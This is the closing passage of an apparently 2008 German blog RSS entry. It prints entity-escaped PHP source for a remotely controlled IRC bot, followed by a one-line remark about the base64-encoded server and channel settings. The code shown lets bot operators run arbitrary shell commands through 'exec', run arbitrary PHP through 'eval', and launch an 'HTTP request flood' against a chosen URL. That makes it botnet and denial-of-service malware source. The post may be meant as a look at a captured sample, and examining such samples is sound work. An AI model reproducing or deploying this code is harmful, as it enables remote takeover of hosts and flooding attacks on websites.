					$this-&amp;#62;say&amp;#40;&quot;Usage&amp;#58;&amp;#160;&quot;.$mainclass-&amp;#62;config&amp;#91;&quot;trigger&quot;&amp;#93;.&quot;disconnect&amp;#160;&amp;#91;conid&amp;#93;&quot;,&amp;#160;$source&amp;#41;;
					break;
				}
				$conid&amp;#160;=&amp;#160;intval&amp;#40;$args&amp;#91;1&amp;#93;&amp;#41;;
				if&amp;#160;&amp;#40;strlen&amp;#40;$args&amp;#91;1&amp;#93;&amp;#41;&amp;#160;&amp;#62;&amp;#160;2&amp;#160;||&amp;#160;!$mainclass-&amp;#62;bots&amp;#91;$conid&amp;#93;&amp;#41;&amp;#160;{
					$this-&amp;#62;say&amp;#40;&quot;Invalid&amp;#160;connection&amp;#160;ID&quot;,&amp;#160;$source&amp;#41;;
					break;
				}
				if&amp;#160;&amp;#40;$mainclass-&amp;#62;bots&amp;#91;$conid&amp;#93;-&amp;#62;allowcontrol&amp;#41;&amp;#160;{
					$ctrlbots&amp;#160;=&amp;#160;0;
					foreach&amp;#160;&amp;#40;$mainclass-&amp;#62;bots&amp;#160;as&amp;#160;$bawt&amp;#41;&amp;#160;{
						if&amp;#160;&amp;#40;$bawt-&amp;#62;allowcontrol&amp;#41;&amp;#160;$ctrlbots++;
					}
					if&amp;#160;&amp;#40;$ctrlbots&amp;#160;&amp;#60;=&amp;#160;1&amp;#41;&amp;#160;{
						$this-&amp;#62;say&amp;#40;&quot;Cannot&amp;#160;disconnect&amp;#160;while&amp;#160;only&amp;#160;one&amp;#160;control&amp;#160;connection&amp;#160;remaining,&amp;#160;use&amp;#160;&quot;die&quot;&quot;,&amp;#160;$source&amp;#41;;
						break;
					}
				}
				if&amp;#160;&amp;#40;count&amp;#40;$mainclass-&amp;#62;bots&amp;#41;&amp;#160;&amp;#60;=&amp;#160;1&amp;#41;&amp;#160;{
					$this-&amp;#62;raw&amp;#40;&quot;QUIT&amp;#160;&amp;#58;Final&amp;#160;connection&amp;#160;dropped,&amp;#160;quitting&quot;&amp;#41;;
					die&amp;#40;&amp;#41;;
					break;
				}
				if&amp;#160;&amp;#40;$mainclass-&amp;#62;bots&amp;#91;$conid&amp;#93;&amp;#41;&amp;#160;{
					$mainclass-&amp;#62;bots&amp;#91;$conid&amp;#93;-&amp;#62;disconnect&amp;#40;&amp;#41;;
					unset&amp;#40;$mainclass-&amp;#62;bots&amp;#91;$conid&amp;#93;&amp;#41;;
					sort&amp;#40;$mainclass-&amp;#62;bots&amp;#41;;
					$this-&amp;#62;say&amp;#40;&quot;Connection&amp;#160;&quot;.$args&amp;#91;1&amp;#93;.&quot;&amp;#160;disconnected&quot;,&amp;#160;$source&amp;#41;;
				}
				else&amp;#160;$this-&amp;#62;say&amp;#40;&quot;Invalid&amp;#160;connection&amp;#160;ID&quot;,&amp;#160;$source&amp;#41;;
				break;
			case&amp;#160;&quot;exec&quot;&amp;#58;
				$txt&amp;#160;=&amp;#160;&quot;&quot;;
				for&amp;#160;&amp;#40;$i=1;&amp;#160;$i&amp;#60;1024;&amp;#160;$i++&amp;#41;&amp;#160;{
					if&amp;#160;&amp;#40;isset&amp;#40;$args&amp;#91;$i&amp;#93;&amp;#41;&amp;#41;&amp;#160;$txt&amp;#160;.=&amp;#160;$args&amp;#91;$i&amp;#93;.&quot;&amp;#160;&quot;;
					else&amp;#160;break;
				}
				$ph&amp;#160;=&amp;#160;popen&amp;#40;$txt.&quot;&amp;#160;2&amp;#62;&amp;amp;1&quot;,&amp;#160;&quot;r&quot;&amp;#41;;
				$read&amp;#160;=&amp;#160;fread&amp;#40;$ph,&amp;#160;8192&amp;#41;;
				$out&amp;#160;=&amp;#160;explode&amp;#40;&quot;\n&quot;,&amp;#160;$read&amp;#41;;
				pclose&amp;#40;$ph&amp;#41;;
				foreach&amp;#160;&amp;#40;$out&amp;#160;as&amp;#160;$line&amp;#41;
				{
					$this-&amp;#62;say&amp;#40;trim&amp;#40;$line&amp;#41;,&amp;#160;$source&amp;#41;;
					//sleep&amp;#40;1&amp;#41;;
				}
				break;
			case&amp;#160;&quot;eval&quot;&amp;#58;
				ob_start&amp;#40;&amp;#41;;
				eval&amp;#40;$args&amp;#41;;
				$outa&amp;#160;=&amp;#160;explode&amp;#40;&quot;\n&quot;,&amp;#160;ob_get_flush&amp;#40;&amp;#41;&amp;#41;;
				foreach&amp;#160;&amp;#40;$outa&amp;#160;as&amp;#160;$line&amp;#41;
				{
					$this-&amp;#62;say&amp;#40;trim&amp;#40;$line&amp;#41;,&amp;#160;$source&amp;#41;;
					//sleep&amp;#40;1&amp;#41;;
				}
				ob_end_flush&amp;#40;&amp;#41;;
				break;
			case&amp;#160;&quot;http&quot;&amp;#58;
				if&amp;#160;&amp;#40;$numargs&amp;#160;&amp;#60;&amp;#160;2&amp;#41;&amp;#160;{
					$this-&amp;#62;say&amp;#40;&quot;Usage&amp;#58;&amp;#160;&quot;.$mainclass-&amp;#62;config&amp;#91;&quot;trigger&quot;&amp;#93;.&quot;http&amp;#160;&amp;#91;url&amp;#93;&amp;#160;&amp;#91;secs&amp;#93;&quot;,&amp;#160;$source&amp;#41;;
					break;
				}
				$this-&amp;#62;say&amp;#40;&quot;HTTP&amp;#160;request&amp;#160;flood&amp;#160;starting&quot;,&amp;#160;$source&amp;#41;;
				$requests&amp;#160;=&amp;#160;$mainclass-&amp;#62;starthttp&amp;#40;$args&amp;#91;1&amp;#93;,&amp;#160;intval&amp;#40;$args&amp;#91;2&amp;#93;&amp;#41;&amp;#41;;
				if&amp;#160;&amp;#40;$requests&amp;#160;&amp;amp;&amp;amp;amp;&amp;#160;$requests&amp;#160;&amp;#62;&amp;#160;0&amp;#41;&amp;#160;$this-&amp;#62;say&amp;#40;&quot;HTTP&amp;#160;flood&amp;#160;finished&amp;#160;-&amp;#160;sent&amp;#160;&quot;.$requests.&quot;&amp;#160;requests&quot;,&amp;#160;$source&amp;#41;;
				else&amp;#160;$this-&amp;#62;say&amp;#40;&quot;HTTP&amp;#160;flood&amp;#160;error,&amp;#160;no&amp;#160;requests&amp;#160;sent&quot;,&amp;#160;$source&amp;#41;;
				break;
		}
	}
}

$mainclass&amp;#160;=&amp;#160;new&amp;#160;bMain;
$mainclass-&amp;#62;start&amp;#40;&amp;#41;;
?&amp;#62;&lt;/div&gt;

interessant die base 64 Kodierung der server und channel Variablen.
 
    </content:encoded>

    <pubDate>Sat, 09 Aug 2008 16:57:40 +0200</pubDate>
    <guid isPermaLink="false">http://blog.grospolina.net/archives/25-guid.html</guid>
    
</item>

</channel>
</rss>